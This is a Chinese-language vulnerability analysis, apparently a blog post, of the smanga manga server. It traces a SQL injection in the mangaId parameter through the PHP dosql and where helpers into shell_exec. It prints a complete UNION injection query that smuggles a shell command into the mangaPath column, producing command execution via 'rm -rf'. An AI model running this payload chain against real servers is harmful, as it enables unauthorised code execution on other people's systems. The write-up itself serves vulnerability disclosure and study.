免責聲明
本文檔所述漏洞詳情及復現方法僅限用于合法授權的安全研究和學術教育用途。任何個人或組織不得利用本文內容從事未經許可的滲透測試、網絡攻擊或其他違法行為。使用者應確保其行為符合相關法律法規,并取得目標系統的明確授權。
對于因不當使用本文信息而造成的任何直接或間接后果,作者概不負責。若您發現本文內容涉及侵權或不當信息,請及時聯系我們,我們將立即核實并采取必要措施。
源代碼如下
源代碼如下
獲取參數mangaId,跟進dosql方法
function dosql($params)
{global $gIp;global $gUserName;global $gPassWord;global $gDatabase;#輸出所有錯誤信息error_reporting(E_ALL);ini_set('display_errors', '1');#將出錯信息輸出到一個文本文件ini_set('error_log', dirname(__FILE__) . '/mysql_error.txt');#設置默認值$ip = @getValue($params['ip'], $gIp);$username = @getValue($params['username'], $gUserName);$password = @getValue($params['password'], $gPassWord);$database = @getValue($params['database'], 'smanga');$port = @getValue($params['port'], $gPort);$type = @getValue($params['type'], 'select');$name = @getValue($params['name'], '*');$where = @getValue($params['where'], array());$group = @getValue($params['group'], '');$field = @getValue($params['field'], array());$value = @getValue($params['value'], array());$limit = @getValue($params['limit'], '');$start = @getValue($params['start'], '');$order = @getValue($params['order'], '');$desc = @getValue($params['desc'], '');$keyword = @getValue($params['keyword'], '');$test = @getValue($params['test'], false);$charset = @getValue($params['charset'], 'utf8');#鏈接mysqlif (isset($params['link'])) {$link = $params['link'];} else {$link = @mysqli_connect($ip, $username, $password, $database, $port)or die("數據庫連接失敗!失敗信息:" . mysqli_connect_error($link));}#設置數據庫// @mysqli_select_db($link,$database,);#設置數據編碼mysqli_set_charset($link, 'utf8mb4') or die("數據庫編碼集設置失敗!");#獲取數據表名。如獲取失敗,則返回錯誤if (isset($params['table'])) {$table = $params['table'];} else {echo "表名(table)不能為空!";exit;}$where = to_array($where);$field = to_array($field);$value = to_array($value);$name = to_string($name);$table = to_string($table);#判別操作類型switch ($type) {case 'insert':$request = insert($link, $table, $field, $value, $test);break;case 'delete':$request = delete($link, $table, $where, $test);break;case 'select':$request = select($link, $name, $table, $where, $group, $order, $desc, $limit, $start, $test);break;case 'update':$request = update($link, $table, $where, $field, $value, $test);break;case 'search':$request = search($link, $name, $table, $where, $field, $keyword, $group, $order, $desc, $limit, $start, $test);break;case 'getcount':$request = getcount($link, $table, $where, $group, $test);break;case 'getnum':$request = getnum($link, $name, $table, $where, $group, $test);break;case 'searchcount':$request = search_count($link, $name, $table, $where, $field, $keyword, $group, $order, $desc, $limit, $start, $test);break;default:# code...break;}#返回數據return $request;#關閉數據庫連接mysqli_close($link);#結束執行exit;
}
大致意識給各種SQL執行相關的變量賦值
比如這里的type沒有賦值的情況下,默認就是select,name沒有賦值的情況下就是*,我們看看select分支
看一下where參數的控制,跟進select方法
where變量被傳入了where方法,更近where方法,就是將where數組中的變量取出,用and進行拼接,由于傳入的參數mangaId用戶可控,所以這里存在SQL注入
來看看這里RCE成因
首先來看看我們構造的參數mangaId使用union注入如下惡意SQL時,會返回一條數據
所以聯合注入如上SQL,會按照聯合注入的原理會返回一條數據
完整的SQL如下
select * from manga where mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";echo `whoami` > 1.txt;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;
接著我們繼續看入口的代碼
執行完dosql之后,返回數據保存在$mangaPathRes變量中,首先判斷$mangaPathRes變量中是否保存有數據,沒有數據直接返回,隨后判斷可控變量deleteFile是否為ture,為ture進入if邏輯,首先從$mangaPathRes中獲取返回數據mangaPath,隨后直接傳入shell_exec方法
接著我們分析數據表,從數據庫構建表的過程中可以看到表manga存在12列,其中低5列名為mangaPath
由于前邊的SQL注入,返回的第五列數據如下
所以這個時候傳入shell_exec的參數就是";echo `whoami` > 1.txt;"
完整的執行語句
rm -rf "";echo `whoami` > 1.txt;"",導致命令執行
測試如下